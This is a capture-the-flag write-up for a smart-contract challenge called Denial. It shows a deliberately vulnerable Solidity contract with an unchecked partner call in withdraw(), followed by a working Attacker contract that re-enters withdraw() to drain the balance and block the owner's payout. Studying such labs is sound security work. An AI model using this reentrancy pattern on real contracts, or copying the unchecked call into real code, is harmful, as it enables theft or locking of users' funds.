Skip to content

Denial

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Denial {

    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address public constant owner = address(0xA9E);
    uint timeLastWithdrawn;
    mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint amountToSend = address(this).balance / 100;
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        partner.call{value:amountToSend}("");
        payable(owner).transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = block.timestamp;
        withdrawPartnerBalances[partner] +=  amountToSend;
    }

    // allow deposit of funds
    receive() external payable {}

    // convenience function
    function contractBalance() public view returns (uint) {
        return address(this).balance;
    }
}

Goal

Deny the owner from withdrawing funds when they call withdraw()

Exploit

In order to finish this CTF we will have to use another smart contract. We can name this contract Attacker.

Within the Attacker contract, we can make reentrant call to the withdraw() function up until the balance of ether in the Denial contract is greater than 0. This will cause the amountToSend variable to become 0, because of the following division:

uint amountToSend = address(this).balance / 100;

while the contract still holds small amount of ETH.

To exploit the contract we need to:

  1. create Attacker contract, and create instance from the Denial contract inside the Attacker contract
  2. in the constructor of the Attacker contract, we need to set the Attacker contract as partner
  3. in the receive function of the Attacker we need to make reentrant call to the withdraw() function of the Denial contract, as long as the balance of ETH in Denial is greater than 0.
  4. we need to call the withdraw() function inside Denial contract

Attacker contract code

contract Attacker {
    Denial private denial;
    constructor(Denial _denial) {
        denial = Denial(_denial);
        denial.setWithdrawPartner(address(this));
    }

    receive() external payable {
        while(address(denial).balance > 0) {
            denial.withdraw();
        }
    }
}